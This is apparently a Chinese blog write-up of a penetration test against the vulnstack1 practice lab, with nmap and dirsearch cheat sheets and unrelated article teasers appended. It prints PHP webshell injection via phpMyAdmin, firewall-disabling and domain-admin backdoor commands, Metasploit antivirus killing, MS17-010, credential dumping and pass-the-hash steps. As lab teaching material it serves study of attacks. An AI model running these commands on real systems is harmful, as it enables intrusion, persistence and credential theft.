当前位置: 首页 > news >正文

vulnstack1 渗透分析 红日靶场(一)

环境搭建

ip段设置

kali (coleak):192.168.145.139
Windows 7 (stu1):192.168.10.181、192.168.145.140
Winserver 2008 (owa):192.168.10.180
Win2k3 (root-tvi862ubeh):192.168.10.182

复制

kali可以访问win7,但不能直接访问win08和win2k3

开启win7 web/mysql服务

img

信息收集

端口扫描

sudo nmap -sS -p 1-65535 -v 192.168.145.140

复制

80/tcp open http 3306/tcp open mysql

web目录扫描

dirsearch -u http://192.168.145.140/

复制

=

img

爆破登录

访问80端口是一个phpStudy 探针,结合phpinfo.php和探针知晓主目录在C:/phpStudy/WWW

bp爆破mysql的root弱口令获得root的密码

img

进入phpmyadmin,用root/root尝试登录成功

PhpMyAdmin 后台 Getshell

phpmyadmin有两种getshell方式

into outfile导出木马 利用Mysql日志文件getshell

into outfile

需看要secure_file_priv的值。 当value为“null”时,不允许读取任意文件,当value为“空”时,允许读取任意文件,value可也已设置为其他路径。

select @@basedir;   #查看一下网站的路径 C:/phpStudy/MySQL/
select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/hack.php';
show global variables like '%secure%';    #secure_auth OFF;secure_file_priv NULL

复制

当secure_file_priv为NULL时,表示限制Mysql不允许导入导出,这里为NULL。所以into outfile写入木马出错。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在mysqld内加入secure_file_priv =“”。(windows下修改配置文件:mysql.ini linux修改配置文件:my.cnf)

Mysql日志文件写入shell
show variables like '%general%';   #查看日志状态:
SET GLOBAL general_log='on';    #开启 general_log
SET GLOBAL general_log_file='C:/phpStudy/www/hack.php';    
#指定日志写入到网站根目录的 hack.php 文件
show variables like '%general%';

复制

general_logON
general_log_fileC:/phpStudy/www/hack.php
SELECT '<?php eval($_POST["cmd"]);?>'; 即可将一句话木马写入 hack.php 文件中

复制

img

CS后渗透

上传免杀后门qm.exe上线cs

img

关闭防火墙

#注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389#关闭防火墙
netsh firewall set opmode disable   			#winsows server 2003 之前
netsh advfirewall set allprofiles state off 	#winsows server 2003 之后netsh advfirewall show allprofile state //展示状态
netsh advfirewall set allprofiles state off //关闭防火墙

复制

查看用户为god\administrator域管权限,收集域内信息

net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域(域名获取)
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)
网络扫描、端口扫描

复制

抓取hash和明文密码,然后查看密码凭证

复制

img

net view	#\\OWA \\ROOT-TVI862UBEH  还有两台主机

复制

img

jump psexec OWA smb
jump psexec root-tvi862ubeh smb
三台主机全部上线

复制

img

选择psexec横向移动

img

网络拓扑图如下

img

VPN部署

img

sudo ifconfig phear0 192.168.10.0/24
ping 192.168.10.180
nmap 192.168.10.167 -sT -A -p 445

复制

代理远程桌面

// 添加test用户net user test p-0p-0p-0 /add /domain
// 把 test 用户添加进域管理员组net group "domain admins" test /add /domain
// 查看域管理员net group "domain admins" /domain
rdesktop 192.168.10.180
god\test p-0p-0-p-0

复制

MSF后渗透

CS派生会话给MSF

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.145.139
set lport 4566
run

复制

新建会话到该新建的监听器

查看主机是否运行在虚拟机上

run post/windows/gather/checkvm

复制

关闭掉目标主机的杀毒软件,通过命令

run post/windows/manage/killav

复制

获取目标主机的详细信息

sysinfo

复制

meterpreter > sysinfo Computer : STU1 OS : Windows 7 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : zh_CN Domain : GOD Logged On Users : 3 Meterpreter : x86/windows

Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:

pwd:当前所在位置
ls:获取当前目录下的文件
cd:切换目标目录;
cat:读取文件内容;
rm:删除文件;
edit:使用vim编辑文件
mkdir:新建目录;
rmdir:删除目录;
upload file 命令则能够向目标系统上传文件。
download file 命令可以帮助我们从目标系统中下载文件

复制

获取内网网段信息

run get_local_subnets# 可以用模块自动添加路由
run post/multi/manage/autoroute
#添加一条路由
run autoroute -s 192.168.10.0/24
#查看路由添加情况
run autoroute -p

复制

Subnet Netmask Gateway undefined 169.254.0.0 255.255.0.0 Session 1 192.168.10.0 255.255.255.0 Session 1 192.168.145.0 255.255.255.0 Session 1

配置并启用隧道

use auxiliary/server/socks_proxy
set SRVPORT 8999
setg Proxies socks5:192.168.145.139:8999
setg ReverseAllowProxy true

复制

横向移动

background
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.10.181
set ports 80,135-139,445,3306,3389
run

复制

192.168.10.181: - 192.168.10.181:80 - TCP OPEN 192.168.10.181: - 192.168.10.181:135 - TCP OPEN 192.168.10.181: - 192.168.10.181:139 - TCP OPEN 192.168.10.181: - 192.168.10.181:445 - TCP OPEN 192.168.10.181: - 192.168.10.181:3306 - TCP OPEN 192.168.10.181: - 192.168.10.181:3389 - TCP OPEN

set rhosts 192.168.10.182
run

复制

192.168.10.182: - 192.168.10.182:135 - TCP OPEN 192.168.10.182: - 192.168.10.182:139 - TCP OPEN 192.168.10.182: - 192.168.10.182:445 - TCP OPEN

有445端口,尝试永恒之蓝ms17-010攻击

漏洞扫描

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.10.181
run

复制

利用(内网环境,需要正向shell连接)

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.10.181
run

复制

并没有拿到shell,ms17-010直接拿到shell的情况并不多,成功率不高

哈希传递攻击(PTH)

hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

复制

ps:ms6中 mimikatz模块已经合并为kiwi模块

load kiwicreds_all  #列举所有凭据
creds_kerberos  #列举所有kerberos凭据
creds_msv  #列举所有msv凭据
creds_ssp  #列举所有ssp凭据
creds_tspkg  #列举所有tspkg凭据
creds_wdigest  #列举所有wdigest凭据
dcsync  #通过DCSync检索用户帐户信息
dcsync_ntlm  #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create  #创建黄金票据
kerberos_ticket_list  #列举kerberos票据
kerberos_ticket_purge  #清除kerberos票据
kerberos_ticket_use  #使用kerberos票据
kiwi_cmd  #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam  #dump出lsa的SAM
lsa_dump_secrets  #dump出lsa的密文
password_change  #修改密码
wifi_list  #列出当前用户的wifi配置文件
wifi_list_shared  #列出共享wifi配置文件/编码

复制

抓取失败了,emmmm,重新上线cs抓取

[00000003] Primary* Username : Administrator* Domain   : GOD* NTLM     : 8a963371a63944419ec1adf687bb1be5

复制

psexec|hash传递

在 Metasploit 中,经常使用于哈希传递攻击的模块有:

auxiliary/admin/smb/psexec_command   #在目标机器上执行系统命令
exploit/windows/smb/psexec           #用psexec执行系统命令
exploit/windows/smb/psexec_psh       #使用powershell作为payload

复制

探测445

use auxiliary/scanner/smb/smb_version 
set rhost 192.168.10.180
set threads 40
run
set rhost 192.168.10.182
run

复制

exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008

use exploit/windows/smb/psexec
set rhosts 192.168.10.181
set SMBUser administrator 
set smbpass 00000000000000000000000000000000:8a963371a63944419ec1adf687bb1be5
run

复制

图片

知识补充

nmap
参数分类

主机发现

-sL 						   仅列出指定网络的每个主机,不发送探测
-sn 						   在发现主机后不进行端口探测
-Pn 						   将所有主机视为在线,不进行主机发现,由ICMP回显请求、TCP SYN 到端口 443、TCP ACK 到端口 80 和 ICMP 默认情况下的时间戳请求组成
-PS/-PA/-PU/-PY  <port> 		对给定端口进行TCP的SYN/ACK,UDP 或 SCTP扫描,参数和端口之间不能有空格 
-PE/-PP/-PM                     ICMP回显,时间戳和网络掩码请求探测
-PO <协议列表> 					发送具有指定协议编号的IP数据包
--disable-arp-ping或--send-ip 	对于本地以太网上的主机不进行ARP扫描,而是IP地址扫描,默认是ARP
--discovery-ignore-rst 			不理RST回复,有时防火墙会欺骗RST回复,而响应对不存在的地址的探测
--traceroute 					路由跟踪扫描
-A                         此选项设置包含了1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测
-6                         使用IPv6

复制

端口扫描

-sU 						    UDP扫描
-sT 						    TCP扫描
-sS						        SYN半开放扫描
-sN 						    TCP空扫描,如果向关闭端口发送不包含RST的请求,将回复RST作为响应
-sF 						    FIN标志的数据包扫描
-b <FTP中继主机>				  FTP退回扫描(<用户名>:<密码>@<服务器>:<端口>),一种利用FTP服务器的间接扫描
-sX 						    圣诞树扫描
-sA 						    TCP ACK扫描,探测端口是否被防火墙屏蔽
-sW 						    TCP窗口扫描,这与ACK扫描相同,但通过TCP窗口字段检测端口是否开放,准确率不高
-sM 						    TCP迈蒙扫描,以起发现者命名
-sI 						    TCP空闲扫描,一种间接的扫描
--scanflags <要设置的TCP标注位> 	可以自己指定TCP标志位,还可以同时设置TCP扫描类型(-sA,-sF)以告诉nmap如何解释响应
-sY 						    SCTP INIT扫描即SCTP初始化扫描
-sZ 						    SCTP COOKIE ECHO扫描,开放的端口将丢弃包含COOKIE ECHO的数据包,但端口是关闭将回复ABORT
-sO 						    扫描端口支持的IP协议
-Pn -sn 						跳过主机发现和端口扫描,但仍可以运行NSE(脚本)
-sP						        用类似ping扫描

复制

服务和系统探测

-sV 						Version版本检测扫描, 用来扫描目标主机和端口上运行的软件的版本
--version-intensity 		设置版本扫描的强度0-9,默认7,强度越高准确率越高时间越长
--version-all 				尝试每个强度的探测
--version-trace 			显示详细的版本扫描活动
--allports 					默认nmap版本扫描时不扫一些端口,这将扫所有端口
-O 						    操作系统类型的探测
--osscan-guess(--fuzzy)     猜测匹配操作系统,配合-O
--osscan-limit				限制Nmap只对有希望确定的主机的进行OS探测(至少需确知该主机分别有一个open和closed的端口)
--max-os-trys 				设置对目标的最大尝试次数,默认5

复制

脚本

-sC 						    默认脚本扫描,即--script=default,这些脚本具有入侵性
--script <filename>|<category>|<directory>/|<expression>[,...]  每元素首先被解释为表达式,然后被解释为类别,并且 最后作为文件或目录名称。
--script-args  				    为脚本提供参数
--script-args-file <filename> 	从文件向脚本通过参数
--script-help 					获取脚本说明
--script-updatedb 				更新找到的脚本数据库

复制

设置时序和性能

--min-hostgroup <number>;--max-hostgroup <number>    	nmap是一次性扫描一个组的主机,这设置一个组的最大和最小自己数
--host_timeout 					设置扫描一台主机的时间,以毫秒为单位,默认无时限
-T  <0-5>   					设置时间模版  paranoid (0)、sneaky (1)、polite (2)、normal(3)、 aggressive (4)、insane (5)
paranoid、sneaky模式用于IDS躲避
Polite模式降低了扫描速度以使用更少的带宽和目标主机资源。
Normal为默认模式,因此 -T 3  实际上是未做任何优化。
Aggressive模式假设用户具有合适及可靠的网络从而加速扫描. 
nsane模式假设用户具有特别快的网络或者愿意为获得速度而牺牲准确性

复制

扫描结果

open  					端口开放
closed 					端口是关闭
filtered 				端口被防火墙IDS/IPS屏蔽,不能确定状态
unfiltered 				端口没被屏蔽,但是否开放还要进一步确定
open|filtered 			端口是开放或被屏蔽,Nmap不能识别
closeed|filtered 		端口是关闭或被屏蔽,Nmap不能识别

复制

设置输出

-oN <文件>    				输出到文件
-oX <文件>  				输出到XML文件
-oG grep-output.txt  		扫描的结果输出到屏幕,同时会存储一份到grep-output.txt
-v(-vv) <级别>             详细输出扫描-d <级别>					设置调试级别,当即使是详细模式也无法提供足够的数据时,调试可用于提供更多内容
--reason 					显示主机和端口状态原因
--open						仅显示打开或可能打开的端口
-append-output				附加到而不是清空输出文件,为输出格式标志指定文件名时 例如 -oX 或 -oN,即 文件默认被覆盖

复制

参数速查表
参数(区分大小写)说明
-sTTCP connect()扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息。
-sS半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限。
-sF -sN秘密FIN数据包扫描、Xmas Tree、Null扫描模式
-sPping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。
-sUUDP扫描,但UDP扫描是不可靠的
-sA这项高级的扫描方法通常用来穿过防火墙的规则集
-sV探测端口服务版本
-Pn扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描
-v显示扫描过程,推荐使用
-h帮助选项,是最清楚的帮助文档
-p指定端口,如“1-65535、1433、135、22、80”等
-O启用远程操作系统检测,存在误报
-A全面系统检测、启用脚本检测、扫描等
-oN/-oX/-oG将报告写入文件,分别是正常、XML、grepable 三种格式
-T4针对TCP端口禁止动态扫描延迟超过10ms
-iL读取主机列表,例如,“-iL C:\ip.txt”
dirsearch
采用默认设置扫描目标url
python3 dirsearch.py -u https://target使用文件拓展名为php,html,js的字典扫描目标url
python3 dirsearch.py -e php,html,js -u https://target采用指定路径的wordlist且拓展名为php,html,js的字典扫描目标url
python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist递归扫描
python3 dirsearch.py -e php,html,js -u https://target -r设置递归层数为3
python3 dirsearch.py -e php,html,js -u https://target -r -R 3指定线程(不建议线程数调整过大,可能会影响扫描的结果)
python3 dirsearch.py -e bak,zip,tgz,txt -u https://target -t 30

相关文章:

vulnstack1 渗透分析 红日靶场(一)

环境搭建 ip段设置 kali (coleak)&#xff1a;192.168.145.139 Windows 7 (stu1)&#xff1a;192.168.10.181、192.168.145.140 Winserver 2008 (owa)&#xff1a;192.168.10.180 Win2k3 (root-tvi862ubeh)&#xff1a;192.168.10.182复制 kali可以访问win7&#xff0c;但不能…...

外包干了6天,技术明显进步。。。

我是一名大专生&#xff0c;自19年通过校招进入湖南某软件公司以来&#xff0c;便扎根于功能测试岗位&#xff0c;一晃便是近四年的光阴。今年8月&#xff0c;我如梦初醒&#xff0c;意识到长时间待在舒适的环境中&#xff0c;已让我变得不思进取&#xff0c;技术停滞不前。更令…...

比较好的知识点

2023年Java超全面试题及答案解析---https://blog.csdn.net/qq_42301302/article/details/128785274 7分钟带你细致解析4个Java算法必刷题---https://blog.csdn.net/hcxy2022/article/details/127963797 50道JAVA基础算法编程题【内含分析、程序答案】---https://blog.csdn.net/…...

抖音开放平台的订单类API接口调用测试指南(内含详细步骤)

一、什么是抖音开放平台 抖音开放平台基于抖音母体&#xff0c;提供抖音服务基础设施和创新行业解决方案的平台。同时满足各类各类机构、创作者及服务商对于内容获取、分享的个性化需求&#xff0c;我们诚邀各个行业、不同阶段的合作伙伴与我们一起&#xff0c;共建内容良性生…...

HiveSQL一本通 - 案例实操

文章目录 0.HiveSQL一本通使用说明6.综合案例练习之基础查询6.1 环境准备创建数据表数据准备加载数据 6.2 简单查询练习1.查询姓名中带“山”的学生名单2.查询姓“王”老师的个数3.检索课程编号为“04”且分数小于60的学生的分数信息&#xff0c;结果按分数降序排列4.查询数学成…...

Axure RP 8中文---快速原型设计工具,一站式解决方案

Axure RP 8是一款专业的快速原型设计工具&#xff0c;以其直观易用的界面和丰富的功能受到广大用户的青睐。它支持用户通过拖放操作快速创建交互式原型&#xff0c;包括线框图、流程图等&#xff0c;并具备高保真度的设计能力。Axure RP 8还提供了团队协作和共享功能&#xff0…...

Available platform plugins are: minimal, offscreen, webgl, windows.

我在运行pyqt5开发的代码时&#xff0c;报错&#xff1a; This application failed to start because no Qt platform plugin could be initialized, Reinstalling the application may fix this problem. Available platform plugins are: minimal, offscreen, webgl, windows…...

创意无限,风险有度:2024愚人节海外网红营销策略解析

2024年愚人节即将到来&#xff0c;这个充满趣味与惊喜的节日&#xff0c;既是人们展示幽默与创意的舞台&#xff0c;也是品牌进行营销活动的绝佳时机。在这个特殊的日子里&#xff0c;通过海外网红营销来推广品牌或产品&#xff0c;无疑是一种富有创意的营销策略&#xff0c;但…...

深入理解 Session、Cookie 和 Token:网络安全和身份验证的重要概念

深入理解 Session、Cookie 和 Token&#xff1a;网络安全和身份验证的重要概念 在当今数字化的世界中&#xff0c;网络安全和身份验证是至关重要的议题。为了实现这些目标&#xff0c;我们常常使用诸如 Session、Cookie 和 Token 等概念。这些概念在 Web 开发、网络通信和安全…...

镜像站汇总

软件镜像站 查看linux版本&#xff0c;常见有centos, ubuntu, Debian cat /etc/os-release去清华软件源帮助页面&#xff0c;查找对应源设置方案(需要结合具体的系统版本)&#xff0c;常用&#xff1a; Debian https://mirrors.tuna.tsinghua.edu.cn/help/debian/ 需要选则系…...

设计模式之抽象工厂模式解析

抽象工厂模式 1&#xff09;问题 工厂方法模式中的每个工厂只生产一类产品&#xff0c;会导致系统中存在大量的工厂类&#xff0c;增加系统的开销。 2&#xff09;概述 a&#xff09;产品族 和 产品等级结构 产品等级结构&#xff1a;产品的继承结构&#xff1b; 产品族&…...

【毕设级项目】基于ESP8266的家庭灯光与火情智能监测系统——文末源码及PPT

目录 系统介绍 硬件配置 硬件连接图 系统分析与总体设计 系统硬件设计 ESP8266 WIFI开发板 人体红外传感器模块 光敏电阻传感器模块 火焰传感器模块 可燃气体传感器模块 温湿度传感器模块 OLED显示屏模块 系统软件设计 温湿度检测模块 报警模块 OLED显示模块 …...

UnityShader(十九) AlphaBlend

上代码&#xff1a; Shader "Shader入门/透明度效果/AlphaBlendShader" {Properties{_MainTex ("Texture", 2D) "white" {}_AlphaScale("AlphaScale",Range(0,1))1.0}SubShader{Tags { "RenderType""Transparent&quo…...

3D Tiles语义分割流水线

Dylan Chua 和 Anne Lee 开发了一个处理管线&#xff0c;用于对 3D Tiles 中包含的 GL 传输格式 (glTF) 模型进行语义分割。 该管道读取并遍历 3D Tileset&#xff0c;以输出包含元数据的经过转换的划分对象集。 该项目为 3D 语义分割器提供了最小可行产品&#xff0c;作为各种…...

txt、pdf等文件转为一行一行的doccano数据集输入格式

文章目录 doccano 数据集导入简介代码实现代码运行结果代码公开 doccano 数据集导入 在Doccano 导入数据集时&#xff0c;使用TextLine的文件格式&#xff0c;导入的文件需要为一行一行文本的数据格式&#xff0c;每一行文本在导入Doccano后就是一条数据。 简介 主要工作说明…...

java Flink(四十二)Flink的序列化以及TypeInformation介绍(源码分析)

Flink的TypeInformation以及序列化 TypeInformation主要作用是为了在 Flink系统内有效地对数据结构类型进行管理&#xff0c;能够在分布式计算过程中对数据的类型进行管理和推断。同时基于对数据的类型信息管理&#xff0c;Flink内部对数据存储也进行了相应的性能优化。 Flin…...

社科赛斯考研:二十二载岁月铸辉煌,穿越周期的生命力之源

在考研培训行业的浩瀚海洋中&#xff0c;社科赛斯考研犹如一艘稳健的巨轮&#xff0c;历经二十二载风礼&#xff0c;依然破浪前行。在考研市场竞争白热化与学生对于考研机构要求越来越高的双重影响下&#xff0c;社科赛斯考研却以一种分蘖成长的姿态&#xff0c;扎根、壮大&…...

【视频图像取证篇】模糊图像增强技术之锐化类滤波场景应用小结

【视频图像取证篇】模糊图像增强技术之锐化类滤波场景应用小结 模糊图像增强技术之锐化类滤波场景应用小结—【蘇小沐】 &#xff08;一&#xff09;锐化类滤波器 模糊消除类滤波器&#xff08;Remove blur / Unsharpness&#xff09;。 通用去模糊滤波器&#xff1a;针对大…...

win10 禁止谷歌浏览器自动更新(操作贼简单)

禁止谷歌浏览器自动更新 &#xff08;1&#xff09;修改 "C:\Windows\System32\drivers\etc\hosts 文件&#xff0c;在最后增加 127.0.0.1 update.googleapis.com&#xff08;2&#xff09;保存后&#xff0c;winr 快捷键&#xff0c;输入cmd &#xff0c;打开命令行 &am…...

LeetCode每日一题【24. 两两交换链表中的节点】

思路&#xff1a;先创建虚拟头结点&#xff0c;再用双指针&#xff0c;两两交换 /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullptr) {}* ListNode(int x) : val(x), next(nullptr…...

Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例

使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件&#xff0c;常用于在两个集合之间进行数据转移&#xff0c;如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model&#xff1a;绑定右侧列表的值&…...

【磁盘】每天掌握一个Linux命令 - iostat

目录 【磁盘】每天掌握一个Linux命令 - iostat工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景 注意事项 【磁盘】每天掌握一个Linux命令 - iostat 工具概述 iostat&#xff08;I/O Statistics&#xff09;是Linux系统下用于监视系统输入输出设备和CPU使…...

如何在看板中有效管理突发紧急任务

在看板中有效管理突发紧急任务需要&#xff1a;设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP&#xff08;Work-in-Progress&#xff09;弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中&#xff0c;设立专门的紧急任务通道尤为重要&#xff0c;这能…...

分布式增量爬虫实现方案

之前我们在讨论的是分布式爬虫如何实现增量爬取。增量爬虫的目标是只爬取新产生或发生变化的页面&#xff0c;避免重复抓取&#xff0c;以节省资源和时间。 在分布式环境下&#xff0c;增量爬虫的实现需要考虑多个爬虫节点之间的协调和去重。 另一种思路&#xff1a;将增量判…...

HDFS分布式存储 zookeeper

hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架&#xff0c;允许使用简单的变成模型跨计算机对大型集群进行分布式处理&#xff08;1.海量的数据存储 2.海量数据的计算&#xff09;Hadoop核心组件 hdfs&#xff08;分布式文件存储系统&#xff09;&a…...

【Go语言基础【12】】指针:声明、取地址、解引用

文章目录 零、概述&#xff1a;指针 vs. 引用&#xff08;类比其他语言&#xff09;一、指针基础概念二、指针声明与初始化三、指针操作符1. &&#xff1a;取地址&#xff08;拿到内存地址&#xff09;2. *&#xff1a;解引用&#xff08;拿到值&#xff09; 四、空指针&am…...

Web中间件--tomcat学习

Web中间件–tomcat Java虚拟机详解 什么是JAVA虚拟机 Java虚拟机是一个抽象的计算机&#xff0c;它可以执行Java字节码。Java虚拟机是Java平台的一部分&#xff0c;Java平台由Java语言、Java API和Java虚拟机组成。Java虚拟机的主要作用是将Java字节码转换为机器代码&#x…...

C++ 设计模式 《小明的奶茶加料风波》

&#x1f468;‍&#x1f393; 模式名称&#xff1a;装饰器模式&#xff08;Decorator Pattern&#xff09; &#x1f466; 小明最近上线了校园奶茶配送功能&#xff0c;业务火爆&#xff0c;大家都在加料&#xff1a; 有的同学要加波霸 &#x1f7e4;&#xff0c;有的要加椰果…...

省略号和可变参数模板

本文主要介绍如何展开可变参数的参数包 1.C语言的va_list展开可变参数 #include <iostream> #include <cstdarg>void printNumbers(int count, ...) {// 声明va_list类型的变量va_list args;// 使用va_start将可变参数写入变量argsva_start(args, count);for (in…...

【 java 虚拟机知识 第一篇 】

目录 1.内存模型 1.1.JVM内存模型的介绍 1.2.堆和栈的区别 1.3.栈的存储细节 1.4.堆的部分 1.5.程序计数器的作用 1.6.方法区的内容 1.7.字符串池 1.8.引用类型 1.9.内存泄漏与内存溢出 1.10.会出现内存溢出的结构 1.内存模型 1.1.JVM内存模型的介绍 内存模型主要分…...